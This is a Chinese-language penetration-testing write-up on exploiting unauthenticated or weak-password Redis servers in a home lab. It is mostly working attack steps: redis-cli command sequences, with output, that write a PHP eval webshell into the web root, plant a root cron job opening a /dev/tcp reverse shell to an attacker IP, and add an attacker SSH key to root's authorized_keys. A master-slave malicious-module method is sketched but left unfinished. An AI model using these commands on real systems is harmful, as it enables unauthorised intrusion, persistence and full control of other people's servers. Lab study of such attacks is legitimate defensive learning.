redis利用方式

redis数据库在渗透中的利用方式总结

Redis利用

0x01 环境配置

由于在ubuntu环境下无法成功通过写定时任务进行成功利用,分别部署了ubuntu20.04和centos7环境。

1
2
ubuntu20.04 192.168.241.149
centos 192.168.241.150
  • ubuntu apt安装

运行如下命令直接安装redis-server

1
sudo apt install redis-server

默认配置文件位置在/etc/redis/redis.conf

  • centos yum安装
1
2
3
yum install epel-release
yum install redis
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT #开启6379端口防火墙

默认配置文件位置在/etc/redis.conf

0x02 利用方法

分成未授权访问和弱口令或口令泄露两种场景

2.1 未授权访问

2.1.1 redis 配置

修改配置文件/etc/redis/redis.conf,在bind后面加上主机外网的IP(这里以局域网192.168.241.149为例),设置称不需要密码访问。

1
2
3
4
5
......
bind 127.0.0.1 192.168.241.149
......
# requirepass foobared
......

kill掉redis-server进程,重启redis服务

1
2
3
ps -aux | grep redis
kill -9 <pid>
redis-server /etc/redis/redis.conf

2.1.2 利用方式

fscan扫描结果

ubuntu20.04 192.168.241.149

image-20230605081241370

centos7 192.168.241.150

image-20230605172259777

(1)写webshell

ubuntu 20.04

条件:

  • 目标开启web服务
  • web服务根目录有写权限

步骤:

  1. 目标80端口开放web服务

    image-20230604222106825

  2. 利用未授权向/var/www/html/目录写webshell

    1
    2
    3
    4
    5
    redis-cli -h 192.168.241.149		连接192.168.241.149上的redis服务
    config set dir /var/www/html 设置保存的目录
    config set dbfilename test.php 设置保存的文件名
    set x "<?php @eval($_POST[123]);?>" 设置保存的内容
    save 保存

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $ redis-cli -h 192.168.241.149
    192.168.241.149:6379> config set dir /var/www/html
    OK
    192.168.241.149:6379> config set dbfilename test.php
    OK
    192.168.241.149:6379> set x "<?php @eval($_POST[123]);?>"
    OK
    192.168.241.149:6379> save
    OK
    192.168.241.149:6379>

    image-20230605082015731

    image-20230605081936283

centos7

步骤:

  1. 目标80端口开放web服务

    image-20230605170217106

  2. 利用未授权向/var/www/html/目录写webshell

    1
    2
    3
    4
    5
    redis-cli -h 192.168.241.150		连接192.168.241.150上的redis服务
    config set dir /var/www/html 设置保存的目录
    config set dbfilename test.php 设置保存的文件名
    set x "<?php @eval($_POST[123]);?>" 设置保存的内容
    save 保存

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ redis-cli -h 192.168.241.150
    192.168.241.150:6379> config set dir /var/www/html
    OK
    192.168.241.150:6379> config set dbfilename test.php
    OK
    192.168.241.150:6379> set x "<?php @eval($_POST[123]);?>"
    OK
    192.168.241.150:6379> save
    OK

    image-20230605170653059

(2)写定时任务

image-20230605085319805

https://blog.csdn.net/q20010619/article/details/121912003

centos

条件:

  • 定时任务目录有写权限

步骤

1
2
3
4
5
redis-cli -h 192.168.241.150	连接192.168.241.150上的redis服务
config set dir /var/spool/cron 设置保存的目录
config set dbfilename root 设置保存的文件名
set x "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.241.148/8787 0>&1\n\n" 设置保存的内容
save 保存

运行结果

1
2
3
4
5
6
7
8
9
$ redis-cli -h 192.168.241.150
192.168.241.150:6379> config set dir /var/spool/cron
OK
192.168.241.150:6379> config set dbfilename root
OK
192.168.241.150:6379> set x "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.241.148/8787 0>&1\n\n"
OK
192.168.241.150:6379> save
OK

image-20230605171348532

(3)写公钥

条件:

  • 知道启动服务的用户
  • 拥有.ssh目录
  • 允许使用基于密钥认证的方式登录

ubuntu20.04

步骤

  1. 在攻击机本地生成一对ssh key

    1
    ssh-keygen -t rsa
  2. 将生成的公钥值写入目标服务器的authorized_keys

    1
    2
    3
    4
    5
    6
    7
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
    cat /tmp/foo.txt | redis-cli -h 192.168.241.149 -p 6379 -x set crackit

    redis-cli -h 192.168.241.149 连接192.168.241.149上的redis服务
    config set dir /root/.ssh/ 设置保存的目录
    config set dbfilename authorized_keys 设置保存的文件名
    save 保存

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
    $ cat /tmp/foo.txt | redis-cli -h 192.168.241.149 -p 6379 -x set crackit
    OK
    $ redis-cli -h 192.168.241.149
    192.168.241.149:6379> config set dir /root/.ssh/
    OK
    192.168.241.149:6379> config set dbfilename authorized_keys
    OK
    192.168.241.149:6379> save
    OK
    192.168.241.149:6379>

    image-20230605102736980

  3. root免密登录

    1
    ssh root@192.168.241.149

    image-20230605102947073

    centos

    PS:centos开始没有/root/.ssh/目录,运行ssh localhost后生成/root/.ssh/目录,参考

    1. 在攻击机本地生成一对ssh key

      1
      ssh-keygen -t rsa
    2. 将生成的公钥值写入目标服务器的authorized_keys

      1
      2
      3
      4
      5
      6
      7
      (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
      cat /tmp/foo.txt | redis-cli -h 192.168.241.150 -p 6379 -x set crackit

      redis-cli -h 192.168.241.150 连接192.168.241.150上的redis服务
      config set dir /root/.ssh/ 设置保存的目录
      config set dbfilename authorized_keys 设置保存的文件名
      save 保存

      运行结果

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      $ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
      $ cat /tmp/foo.txt | redis-cli -h 192.168.241.150 -p 6379 -x set ccc
      OK
      $ redis-cli -h 192.168.241.150
      192.168.241.150:6379> config set dir /root/.ssh/
      OK
      192.168.241.150:6379> config set dbfilename authorized_keys
      OK
      192.168.241.150:6379> save
      OK

      image-20230605172113600

    3. ssh免密登录

      image-20230605172206887

(4)主从复制

原理大概是通过设置攻击者控制VPS为主redis机,被攻击者为备份redis机,从主redis复制恶意.so模块,加载恶意模块,执行系统命令。

ubuntu20.04

步骤

2.2 弱口令或者口令泄露

2.2.1 redis配置

修改redis配置文件

1
2
3
......
requirepsss root
......

kill掉redis-server进程,重启redis服务

1
2
3
ps -aux | grep redis
kill -9 <pid>
redis-server /etc/redis/redis.conf

2.2.2 利用方式

fscan扫描结果

ubuntu 20.04

image-20230605174206285

centos7

image-20230605174310033

PS:

同上,只需在 redis-cli -h 192.168.241.150 后面加上-a <password>